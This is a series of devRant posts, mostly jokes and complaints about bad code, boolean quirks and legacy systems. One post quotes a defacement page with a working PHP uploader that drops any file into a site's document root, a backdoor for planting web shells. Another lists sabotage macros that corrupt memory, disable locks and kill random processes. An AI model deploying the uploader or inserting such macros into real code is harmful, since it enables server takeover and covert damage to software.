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-
public boolean even( int num ) {
if ( num < 0 )
num = -1 * num;
while ( num > 1 )
num = num - 2;
if ( num == 0 )
return true;
else
return false;
}19 -
GUYS WE HAVE BEEN WRITING FOR LOOPS IN JAVA WRONG THE WHOLE TIME. Here is how it should be done correctly...
int i = 0;
for(;(i<10) ? true : false;)
{
i++;
System.out.println(i);
}
Jokes aside though does anyone have any more horrid ways to write this?20 -
I've had my share of incompetent coworkers. In order of appearance:
1. A full stack dev. This one guy never, and I mean NEVER uses relationships in their tables. No indexing, no keys, nada. Couple of months later he was baffled why his page took ten seconds to load.
2. The same dev as (1). Requirement was to create some sort of "theme" feature for a web app. Hacked it by putting !important all over the place.
3. The same dev again. He creates several functions that if the data exists returns a view, and if it doesn't, "echo '0'". No, not return 0 or return false or anything, but fucking echo. This was PHP. If posted a rant about this a few months ago.
4. Same dev, has no idea what clean code is. No, not just reusable functions, he doesn't even get indenting right. Some functions have 4 spaces, some 2 tabs, some 6 tabs! And this is inside the same function. God wait until he tries Python...
5. Same dev now suggests that he become the PM. GM approves (very small company). Assigns me to travel to a client since they needed "technical assistance about the API". Was actually there to lead a UAT session.
Intermezzo, that guy went from fullstack dev to PM to sales (yes, one who calls clients to offer products) to business development, to product analyst in the span of two years.
After a year and a half there, I quit.
6. New company, a "QA engineer" who also assumes the role as the product owner. Does absolutely no tests other than "functional tests" in which he NEVER produces any form of documentation. Not even a set of test cases. He goes by "intuition".
7. Same guy as (6), hands me requirements for a feature. By "hands me" I mean he did that verbally. No spec documents, no slack chat, no Trello card. I ended up writing it as a card in Trello. Fast forward to the due date, he flips out because that wasn't what he wanted. Showed him the card. He walked away, without thinking of a solution how this mess should be handled.
Despite all this, I really don't want him (6&7) to leave the company. The devs get really stressed out at this job and he does make a really good person to laugh with/at. -
int main()
{
bool NeedPoints = true;
int Points = 0;
if (NeedPoints)
{
Points++;
if (Points > 10)
{
CreateAvatar();
NeedPoints = false;
}
}
}29 -
So... I learnt a couple things today about C++ language which I didn’t know before...
1. float var = 5.9;
std::cout << ( var == 5.9 );
// shows 0 (false) coz of float and double thing... apparently, 5.9 isn’t automatically converted to float when compared to one 🤔
2. arr[ i ] == i[ arr ]
Well... I guess I now like my college 1% more from the previous % whatever that was 😊☺️32 -
ARGH. I wrote a long rant containing a bunch of gems from the codebase at @work, and lost it.
I'll summarize the few I remember.
First, the cliche:
if (x == true) { return true; } else { return false; };
Seriously written (more than once) by the "legendary" devs themselves.
Then, lots of typos in constants (and methods, and comments, and ...) like:
SMD_AGENT_SHCEDULE_XYZ = '5-year-old-typo'
and gems like:
def hot_garbage
magic = [nil, '']
magic = [0, nil] if something_something
success = other_method_that_returns_nothing(magic)
if success == true
return true # signal success
end
end
^ That one is from our glorious self-proclaimed leader / "engineering director" / the junior dev thundercunt on a power trip. Good stuff.
Next up are a few of my personal favorites:
Report.run_every 4.hours # Every 6 hours
Daemon.run_at_hour 6 # Daily at 8am
LANG_ENGLISH = :en
LANG_SPANISH = :sp # because fuck standards, right?
And for design decisions...
The code was supposed to support multiple currencies, but just disregards them and sets a hardcoded 'usd' instead -- and the system stores that string on literally hundreds of millions of records, often multiple times too (e.g. for payment, display fees, etc). and! AND! IT'S ALWAYS A FUCKING VARCHAR(255)! So a single payment record uses 768 bytes to store 'usd' 'usd' 'usd'
I'd mention the design decisions that led to the 35 second minimum pay API response time (often 55 sec), but i don't remember the details well enough.
Also:
The senior devs can get pretty much anything through code review. So can the dev accountants. and ... well, pretty much everyone else. Seriously, i have absolutely no idea how all of this shit managed to get published.
But speaking of code reviews: Some security holes are allowed through because (and i quote) "they already exist elsewhere in the codebase." You can't make this up.
Oh, and another!
In a feature that merges two user objects and all their data, there's a method to generate a unique ID. It concatenates 12 random numbers (one at a time, ofc) then checks the database to see if that id already exists. It tries this 20 times, and uses the first unique one... or falls through and uses its last attempt. This ofc leads to collisions, and those collisions are messy and require a db rollback to fix. gg. This was written by the "legendary" dev himself, replete with his signature single-letter variable names. I brought it up and he laughed it off, saying the collisions have been rare enough it doesn't really matter so he won't fix it.
Yep, it's garbage all the way down.16 -
So I once had a job as a C# developer at a company that rewrote its legacy software in .Net after years of running VB3 code - the project had originally started in 1994 and ran on Windows 3.11.
As one of the only two guys in the team that actually knew VB I was eventually put in charge of bug for bug compatibility. Since our software did some financial estimations that were impossible to do without it (because they were not well defined), our clients didn't much care if the results were slightly wrong, as long as they were exactly compatible with the previous version - compatibility proved the results were correct.
This job mostly consisted of finding rounding errors caused by the old VB3 code, but that's not what I'm here to talk about today.
One day, after dealing with many smaller functions, I felt I was ready to finally tackle the most complicated function in our code. This was a beast of a function, called Calc, which was called from everywhere in the code, did a whole bunch of calculations, and returned a single number. It consisted of 500 or so lines of spaghetti.
This function had a very peculiar structure:
Function Calc(...)
...
If SomeVariable Then
...
If Not SomeVariable Then
...
(the most important bit of calculation happened here)
...
End If
...
End If
...
End Function
But for some reason it actually worked. For days I tried to find out what's going on, where the SomeVariable was being changed or how the nesting indentation was actually wrong and didn't match the source, but to no avail. Eventually, though, after many days, I did find the answer.
SomeVariable = 1
Somehow, the makers of VB3 though it would be a good idea for Not X to be calculated as (-1 - X). So if a variable was not a boolean (-1 for True, 0 for False), both X and Not X could be truthy, non-zero values.
And kids these days complain about JavaScript's handling of ==...7 -
Where I work, in our database, we use 3 to indicate true and 7 to indicate false and 0 is true but null is false
In another table, we use 'P' to indicate true and 'I' to indicate false and 'Y' is also false and null is false
And the most used table, we also use 'Y' to indicate yes and 'N' to indicate no, but null is also Yes.
We also store integers as varchar in a live table, but stays an integer in all the other tables. I hope I'm not there when the number of digits exceeds the varchar limit.
These are all live and used in production all created by my boss, the head of IT.8 -
Developers who writes something similar
if (count >= 0) { return true; }
else { return false; }
deserves a special room in hell.16 -
PHP7
0 == ‘foobar’ // true
PHP8
0 == ‘foobar’ // false
Nuff said. Before you tell me that js also has quirks, just remember that js having quirks doesn’t make php less garbage.28 -
FUCK LINUX
now that I have your attention, and you’re probably angry, too, please, even if you don’t read this rant, never use code.org again. now, onto the rant…
god dammit, code.org sucks. I mean, anyone who created it or associates with it should, well, be considered a terrorist. they’re bombing students futures in computer science with false, useless, bullshit information. not to mention, their sponsors like bill gates, mark zuckerburg, and other rich asses, talk in a video about some boring ass shit that is hard to understand for anyone who doesn’t program, and not to mention, they use a fucking five dollar microphone. ear rape. even if you look at a textual version of it, then read the information on it, it’s practically useless because it's so terribly explained, and also useless. ironically enough, they focus on their animations more than their actual explinations, or their students for that matter. the fact that we had to encode a picture in binary, made me about 50% dumber, give or take a 0 or 1. then, we had to do it in hex, which wasn’t really much better, although more realistic I supposed. what's really the most depressing thing about this class is its application in the real world. I've learnt nothing whatsoever that will help me in the real world, or in computer science. I suppose there's two things that may be useful (that I already knew): hex, and that TCP doesn't lose packets. that's it. those two things. five seconds worth of knowledge from the first quarter of the year. the ideas just make me want to throw up. teaching the main ideas of computer science without actually teaching it? one of the teachers (probably a good one) enrolled her students in an online programming course just so they could understand, because the explanations are just so terrible. this is the only [high school] computer science course offered by code.org, and I signed up because it's an AP computer science class (tried to get into AP Java, the day I was supposed to take the test to get into an upper level class, I was told it didn't count as a tech credit). seriously, fuck code.org. it makes you dumber. their 'app lab' environment is pointless, just like everything else. the app lab is basically where you have a set of commands and have to make a dog bark() or a storm trooper miss() [and that's hell when they haven't introduced while loops yet]. the app lab is literally code.org going out of their way to make everything that their students are learning pointless in the real world. seriously, why can't we just use a <canvas> like an ACTUAL PROGRAMMER would do if they were to make a browser game, not use an app engine so slow it would be faster to update windows and android studio each time I run an 'app' in their 'environment'. their excuse is that the skills "transfer over" to the real world. BITCH! IF I DIDN'T KNOW JAVA, AND I WANTED TO MAKE A GAME IN JAVA, I'M NOT GOING TO LEARN PYTHON, THEN "TRANSFER" THE SKILLS I LEARNT, I'M GOING TO LEARN FUCKING JAVA. AND THAT GOES FOR EVER OTHER LANGUAGE, PROJECT, ETC.
I'm begging you code.org, stop, get help.9 -
This guy who earns 20% more than me wrote a method to check which string of 2 is lexicographically smaller.
public boolean isSmaller(String s1, String s2) {
String [] temp = new String[2];
temp[0] = s1;
temp[1] = s2;
Collections.sort(temp);
if (temp[0].equalsIgnoreCase(s1)) {
return true;
}
else {
return false;
}
}4 -
I have this project I've inherited, yea I seem to do that a lot, but this damn thing, has to run in php5.4, has deprecated functions for php7 everywhere and a lot of them and there's no classes anywhere beyond some libraries.
Everything is procedural with random scripts being injected left right and center.
I kid you not,
$thisThing = true;
If(x==y)
require "path/to/some/script.php";
else
require "path/to/a/slightly/different/script.php";
If($thisThing === false){
// well it was modified in that small block about 10 different times
}
Those injected scripts then accept data from the parent scope so, looking at file X, you need to have open file A,B, E, and M to understand where variables have been initialised and what there current state could potentially be.
Basically this thing was bandaid after bandaid for feature requests with 0 refactoring.
Here I am trying to implement some basic functionality (should only take an hour or so + a bit of manual testing) but no, I'm literally at the point of hitting the delete button on the entire project and starting again.18 -
Stupid HTML checkboxes! It's always annoyed me that you can't just set checked to true or false, but have to remove the property altogether to uncheck a checkbox. Better still would be if you'd only need to set the value to 1 or 0, and the checked or not would sort out automatically. Yes, there are frameworks to handle it, I know. But if checkboxes had been designed right from start, a framework or any sort of special cases would not be needed. You've got love HTML, but things like this make it ugly.6
-
PHP arrays.
The built-in array is also an hashmap. Actually, it's always a hashmap, but you can append to it without specifying indexes and PHP will use consecutive integers. Its performance characteristics? Who knows. Oh, and only strings, ints and null are valid keys.
What's the iteration order for arrays if you use them as hashmaps (string keys)? Well, they have their internal order. So it's actually an ordered hashmap that's being called an array. And you can produce an array which has only integer keys starting with 0, but with non-sequential internal (iteration) order.
This array weirdness has some non-trivial implications. `json_encode` (serializes argument to JSON) assumes an array corresponds to a JSON array if its keys are consecutive integers in increasing order starting with 0, otherwise the array becomes a JSON object. `array_filter` (filters arrays/hashmaps using callback predicate) preserves keys, so it will punch holes in the int key sequence if non-last items are removed, thus turning arrays into hashmaps and changing your JSON structure if you forget to discard keys before serialization.
You may wonder how JSON deserialization works, then? There's a special class for deserialized JSON objects, `stdClass`. It's basically a hashmap too, but it's an object, not an array, and all functions that would normally accept arrays won't work with it. So basically its only use is JSON (de)serialization. You can even cast arrays to objects, producing `stdClass`.
Bonus PHP trivia:
Many functions return nonsensical values. `preg_match`, the regex matching function, returns 1 for success, 0 for no matches and false for malformed regular expression. PHP supports exceptions, so it could just throw one on errors. It would even make more sense to return true, false and null for these three cases. But no, 1, 0 and false. And actual matches are returned by output arg.
`array_walk_recursive`, a function supposed to recursively apply callback to each element of an array. That's what docs say. It actually applies it to leafs only. It will also silently accept object instead of array and "walk" it, but without recursing into deeper objects.
Runtime type enforcing is supported for function arguments and returned values. You can use scalar types, classes, array, null and a few special keywords. There's also a `mixed` keyword, which is used in docs and means "anything". It's syntactically valid, the parser will accept it, but it matches no values in runtime. Calling such function will always cause a runtime error.
Strings can be indexed with negative integers. Arrays can't.
ReflectionClass::newInstanceWithoutConstructor: "Creates a new class instance without invoking the constructor". This one needs no commentary.
`array_map` is pretty self-explanatory if you call it with a callback and an array. Or if you provide more arrays of equal length via varargs, callback will be called with more arguments, one from each array. Makes sense so far. Now, you can also call `array_map` with null instead of callback. In that case it treats provided arrays as rows of a matrix and returns that matrix, transposed.5 -
This literally made me spill coffee all over my screen,
#define struct union
#define if while
#define else
#define break
#define if(x)
#define double float
#define volatile // this one is cool
// I heard you like math
#define M_PI 3.2f
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false
// Randomness based; "works" most of the time.
#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
// String/memory handling, probably can live undetected quite long!
#define memcpy strncpy
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1)
// Let's have some fun with threads & atomics.
#define pthread_mutex_lock(m) 0
#define InterlockedAdd(x,y) (*x+=y)
// What's wrong with you people?!
#define __dcbt __dcbz // for PowerPC platforms
#define __dcbt __dcbf // for PowerPC platforms
#define __builtin_expect(a,b) b // for gcc
#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break
// Some for HLSL shaders:
#define row_major column_major
#define nointerpolation
#define branch flatten
#define any all5 -
Few days ago I wrote function that finds occurrence of value in array:
function findOccurrence(value, array) {
for (var i = 0; i < array.length; i++) {
if (value === array[I]) return true;
}
return false;
}
But there's already [].includes() function in JavaScript.5 -
Javascript is so funny
"0" == 0 //true
"" == 0 //true
"0" == "" //false
Always remember the ===
Realize this took me an hour of debugging7 -
3 hours...
3 damn hours for 200 lines of bash code.
Exorcism, Magic I don't care.... But please make a special person never touching bash programming again.
I ripped my hairs out. Really.
Till I realized someone wrote functions with _logical_ return true codes as numbers.
0 - as logical false, for failure
1 - as logical true, for success
Leading my brain into a severe segfault fun.
Why... Oh why.
Second fun part as I corrected that...
Someone wasn't fond of exit codes at all.
Script is now 86 % rewritten....
God damn it, if you don't like a languages fine.
But inverting core logic should give a free trip to the electrical chair.1 -
Our Professor gave us a predefined Datebase with access methods. The whole database is full of
value == 0 ? false : true
How can this guy teach programming languages when he can't apply a simple != operand6 -
Doing a full rewrite from some DIY spaghetti framework: when it can't find a search query it returns "false" with the status code 200, the same php file responsible for querying an external api is put into all sorts of named folders, so e.g. a user that is in the results page X can continue searching on the same URL, instead of doing proper url rewrites or ajax calls to the one in the root directory, html is thrown into every other php line, a DIY sort function for a numbers array that fails to sort 0 before 1 and that all is just a 10 minute review, can't wait to see the rest.2
-
In a programming exam, we had to write a program in 60 minutes, part of which was sorting some strings by length (strings the same length had to be in the same line)... I had like 3 minutes left, so i wrote this beauty:
boolean b = false;
for(int i = 0; i <= 999999; i++){
for(int j = 0; j <= strings.length; j++){
if(i == strings[j].length()){
System.out.print(s + " ");
b = true;
}
}
if(b){
System.out.println();
b = false;
}
}6 -
Fuck everything about Microsoft Dynamics. I'm supposed to use the REST API to make a web front-end. I notice all of the data comes back codified.
null == 0.
boolean true == 100000000
boolean false == 100000001
except sometimes when
boolean false == 100000000
boolean true == 100000001
or other times
string "Yes" == 100000000
string "No" == 100000001
string "Maybe" == 100000003
Hang on. Is the system representing a 1 bit value with base 10 numbers? Did the client set this up like this? Holy crap every number corresponds to a unique record in a table somewhere. That means it only returns numeric values instead of strings and I have to figure out what the number means in the context of the table.
A "key" is user typed? So every time someone starts to make a new record it saves a new "key" without a record? So I can pull a bunch of "0" records if I pull sequentially? So basically I need to see all of the data in Dynamics to have any context at all for what is returned from the Dynamics API? Fuuuuuuuuuu10 -
Legacy code huh?
Well i'd say it would be when i was workng on an old java app that was apparently written by a retard.
He had used strings to represent booleans for no apparent reason. As if that wasn't bad enough he would use different strings too:
Y N true false 1 0
He used them randomly too , y and 0
N and true
😡
I sense it was done on purpose
Perhaps he knew he was leaving soon2 -
Spend past 2 days trying to hunt down a bug...
I forgot `0` evaluates as `false` so this statement always returned `false` if `id` was `0` >.>
12 -
When a condition is true and false at the same time...
var_dump(0 == "x"); // true
var_dump(!0 == " x"); // true
WTF?!
I started using the === more often...5 -
So they are back, wanting another quick PR approved.
The PR:
```
let isDisabled = switch quantity > 0 {
| true =>
switch value !== "" {
| true => false
| false =>
switch inputStatus {
| Valid =>
switch inputData {
| Ok(a) => a !== 0.0 ? false : true
| Error(_) => true
}
| _ => true
}
}
| false => true
}
```6 -
You know that feel as a developer when you add a feature to someone's existing project and you see a shitty code. well this has to be one of the shittiest code I have seen.
select_patient:function(patient)
{
console.log(patient)
this.select_patient_index = 0;
var pending = patient.Pending;
var USER_ID_Patient = patient.ID;
var prescription_ID = patient.Prescription_ID;
if(prescription_ID == null) prescription_ID = 0;
patient.Pending = pending = parseInt(pending);
patient.Prescription_ID = prescription_ID = parseInt(prescription_ID);
patient.USER_ID_Patient = USER_ID_Patient = parseInt(USER_ID_Patient);
if(pending > 0 && prescription_ID > 0)
{
this.select_patient_index = this.list.indexOf(patient);
$('#patientContinueModal').modal('show');
return false;
}
$scope.prescription.set(patient,null);
return false;
}
Also the guy has a space in his url.
xxxxxx.com/shopping cart !
My first instinct is to poke my eyes, find the developer (if we can call him that and shove it up his ______)1 -
Inspired by @shahriyer 's rant about floating point math:
I had a bug related to this in JavaScript recently. I have an infinite scrolling table that I load data into once the user has scrolled to the bottom. For this I use scrollHeight, scrollTop, and clientHeight. I subtract scrollTop from scrollHeight and check to see if the result is equal to clientHeight. If it is, the user has hit the bottom of the scrolling area and I can load new data. Simple, right?
Well, one day about a week and a half ago, it stopped working for one of our product managers. He'd scroll and nothing would happen. It was so strange. I noticed everything looked a bit small on his screen in Chrome, so I had him hit Ctrl+0 to reset his zoom level and try again.
It. Fucking. Worked.
So we log what I dubbed The Dumbest Bug Ever™ and put it in the next sprint.
Middle of this week, I started looking into the code that handled the scrolling check. I logged to the console every variable associated with it every time a scroll event was fired. Then I zoomed out and did it.
Turns out, when you zoom, you're no longer 100% guaranteed to be working with integers. scrollTop was now a float, but clientHeight was still an integer, so the comparison was always false and no loading of new data ever occurred. I tried round, floor, and ceil on the result of scrollHeight - scrollTop, but it was still inconsistent.
The solution I used was to round the difference of scrollHeight - scrollTop _and_ clientHeight to the lowest 10 before comparing them, to ensure an accurate comparison.
Inspired by this rant: https://devrant.com/rants/1356488/...2 -
package main
import (
"log"
"strings"
)
type Present struct {
from string
to string
}
type Santa struct {
presents []Present
}
type Person struct {
Name string
Nice bool
Presents []Present
}
func (santa *Santa) givePresents(person Person) []Present {
result := []Present{}
if person.Nice != true {
return result
}
for _, present := range santa.presents {
if strings.Compare(present.to, person.Name) == 0 {
result = append(result, present)
}
}
return result
}
func main() {
santa := Santa{
[]Present{
{"devRant", "Alex"},
{"Johanna", "Alex"},
{"Alex", "devRant"},
{"Alex", "Johanna"},
},
}
persons := []Person{
{"Alex", true, []Present{}},
{"Johanna", true, []Present{}},
{"devRant", false, []Present{}},
}
for idx, person := range persons {
persons[idx].Presents = santa.givePresents(person)
}
log.Println(persons)
}2 -
Working on an Android app for a client who has a dev team that is developing a web app in with ember js / rails. These folks are "in charge" of the endpoints our app needs to function. Now as a native developer, I'm not a hater of a web apps way of doing things but with this particular app their dev teams seems to think that all programming languages can parse json as dynamically as javascript...
Exhibit A:
- Sample Endpoint Documentation
* GetImportantInfo
* Params: $id // id of info to get details of
* Endpoint: get-info/$id
* Method: GET
* Entity Return {SampleInfoModel}
- Example API calls in desktop REST client
* get-info/1
- response
{
"a" : 0,
"b" : false,
"c" : null
}
* get-info/2
- response
{
"a" : [null, "random date stamp"],
"b" : 3.14,
"c" : {
"z" : false,
"y" : 0.5
}
}
* get-info/3
- response
{
"a" : "false" // yes as a string
"b" : "yellow"
"c" : 1.75
}
Look, I get that js and ruby have dynamic types and a string can become a float can become a Boolean can become a cat can become an anvil. But that mess is very difficult to parse and make sense of in a stack that relies on static types.
After writing a million switch statements with cases like "is Float" or "is String" from kotlin's Any type // alias for java.Object, I throw my hands in the air and tell my boss we need to get on the phone with these folks. He agrees and we schedules a day that their main developer can come to our shop to "show us the ropes".
So the day comes and this guy shows up with his mac book pro and skinny jeans. We begin showing him the different data types coming back and explain how its bad for performance and can lead to bugs in the future if the model structure changes between different call params. He matter of factually has an epiphany and exclaims "OHHHHHH! I got you covered dawg!" and begins click clacking on his laptop to make sense of it all. We decide not to disturb him any more so he can keep working.
3 hours goes by...
He burst out of our conference room shouting "I am the greatest coder in the world! There's no problem I can't solve! Test it now!"
Weary, we begin testing the endpoints in our REST clients....
His magic fix, every single response is a quoted string of json:
example:
- old response
{
"foo" : "bar"
}
- new "improved" response
"{ \"foo\" : \"bar\" }"
smh....8 -
Found a clever little algorithm for computing the product of all primes between n-m without recomputing them.
We'll start with the product of all primes up to some n.
so [2, 2*3, 2*3*5, 2*3*5*,7..] etc
prods = []
i = 0
total = 1
while i < 100:
....total = total*primes[i]
....prods.append(total)
....i = i + 1
Terrible variable names, can't be arsed at the moment.
The result is a list with the values
2, 6, 30, 210, 2310, 30030, etc.
Now assume you have two factors,with indexes i, and j, where j>i
You can calculate the gap between the two corresponding primes easily.
A gap is defined at the product of all primes that fall between the prime indexes i and j.
To calculate the gap between any two primes, merely look up their index, and then do..
prods[j-1]/prods[i]
That is the product of all primes between the J'th prime and the I'th prime
To get the product of all primes *under* i, you can simply look it up like so:
prods[i-1]
Incidentally, finding a number n that is equivalent to (prods[j+i]/prods[j-i]) for any *possible* value of j and i (regardless of whether you precomputed n from the list generator for prods, or simply iterated n=n+1 fashion), is equivalent to finding an algorithm for generating all prime numbers under n.
Hypothetically you could pick a number N out of a hat, thats a thousand digits long, and it happens to be the product of all primes underneath it.
You could then start generating primes by doing
i = 3
while i < N:
....if (N/k)%1 == 0:
........factors.append(N/k)
....i=i+1
The only caveat is that there should be more false solutions as real ones. In otherwords theres no telling if you found a solution N corresponding to some value of (prods[j+i]/prods[j-i]) without testing the primality of *all* values of k under N.13 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Ive been working on pseudo-Java (ie some 3rd company's UNDOCUMENTED programming language) that they parse into Java in their backend
It doesnt even support if-else (only ifs and elses) or a boolean combination of False and OR together lmao
mainly a GRPC middleware-language
Given its lack of features (arrays/collections) or documentation, I just had to implement a flag-array using a 0-1 string
Im throwing exceptions unless combined strings equal Lengths and is only 1s
living like in 80s-90s 💀7 -
Why would anyone use -1 for true and 0 for false in a database.
Booleans people!!! FFS
Making migration of old project a real PITA4 -
How do you deal with relatively complex Boolean logic requirements?
Here's a simple example, of which I missed 50% of the cases because it was non-intuitive to me:
A year is a leap year if:
- it is divisible by 4
- except it is also divisible by 100
- unless it is also divisible by 400
To my intuition, the logic tree is as follows:
if (year % 4 == 0) -> true
if (year % 100 == 0) -> false
if (year % 400 == 0) -> true
so I ended up with 3 cases and I initially missed all the others until I started coding.
The full solution is:
if(year % 4 === 0) {
if(year % 100 === 0) {
if(year % 400 === 0) {
true
} else {
false
}
false
} else {
true
}
true
} else {
false
}
}
I don't like it when I don't immediately see all logic paths.19 -
After learning a bit about alife I was able to write
another one. It took some false starts
to understand the problem, but afterward I was able to refactor the problem into a sort of alife that measured and carefully tweaked various variables in the simulator, as the algorithm
explored the paramater space. After a few hours of letting the thing run, it successfully returned a remainder of zero on 41.4% of semiprimes tested.
This is the bad boy right here:
tracks[14]
[15, 2731, 52, 144, 41.4]
As they say, "he ain't there yet, but he got the spirit."
A 'track' here is just a collection of critical values and a fitness score that was found given a few million runs. These variables are used as input to a factoring algorithm, attempting to factor
any number you give it. These parameters tune or configure the algorithm to try slightly different things. After some trial runs, the results are stored in the last entry in the list, and the whole process is repeated with slightly different numbers, ones that have been modified
and mutated so we can explore the space of possible parameters.
Naturally this is a bit of a hodgepodge, but the critical thing is that for each configuration of numbers representing a track (and its results), I chose the lowest fitness of three runs.
Meaning hypothetically theres room for improvement with a tweak of the core algorithm, or even modifications or mutations to the
track variables. I have no clue if this scales up to very large semiprime products, so that would be one of the next steps to test.
Fitness also doesn't account for return speed. Some of these may have a lower overall fitness, but might in fact have a lower basis
(the value of 'i' that needs to be found in order for the algorithm to return rem%a == 0) for correctly factoring a semiprime.
The key thing here is that because all the entries generated here are dependent on in an outer loop that specifies [i] must never be greater than a/4 (for whatever the lowest factor generated in this run is), we can potentially push down the value of i further with some modification.
The entire exercise took 2.1735 billion iterations (3-4 hours, wasn't paying attention) to find this particular configuration of variables for the current algorithm, but as before, I suspect I can probably push the fitness value (percentage of semiprimes covered) higher, either with a few
additional parameters, or a modification of the algorithm itself (with a necessary rerun to find another track of equivalent or greater fitness).
I'm starting to bump up to the limit of my resources, I keep hitting the ceiling in my RAD-style write->test->repeat development loop.
I'm primarily using the limited number of identities I know, my gut intuition, combine with looking at the numbers themselves, to deduce relationships as I improve these and other algorithms, instead of relying strictly on memorizing identities like most mathematicians do.
I'm thinking if I want to keep that rapid write->eval loop I'm gonna have to upgrade, or go to a server environment to keep things snappy.
I did find that "jiggling" the parameters after each trial helped to explore the parameter
space better, so I wrote some methods to do just that. But what I wouldn't mind doing
is taking this a bit of a step further, and writing some code to optimize the variables
of the jiggle method itself, by automating the observation of real-time track fitness,
and discarding those changes that lead to the system tending to find tracks with lower fitness.
I'd also like to break up the entire regime into a training vs test set, but for now
the results are pretty promising.
I knew if I kept researching I'd likely find extensions like this. Of course tested on
billions of semiprimes, instead of simply millions, or tested on very large semiprimes, the
effect might disappear, though the more i've tested, and the larger the numbers I've given it,
the more the effect has become prevalent.
Hitko suggested in the earlier thread, based on a simplification, that the original algorithm
was a tautology, but something told me for a change that I got one correct. Without that initial challenge I might have chalked this up to another false start instead of pushing through and making further breakthroughs.
I'd also like to thank all those who followed along, helped, or cheered on the madness:
In no particular order ,demolishun, scor, root, iiii, karlisk, netikras, fast-nop, hazarth, chonky-quiche, Midnight-shcode, nanobot, c0d4, jilano, kescherrant, electrineer, nomad,
vintprox, sariel, lensflare, jeeper.
The original write up for the ideas behind the concept can be found at:
https://devrant.com/rants/7650612/...
If I left your name out, you better speak up, theres only so many invitations to the orgy.
Firecode already says we're past max capacity!5 -
I said and will say again (over and over) Microsoft WTF!
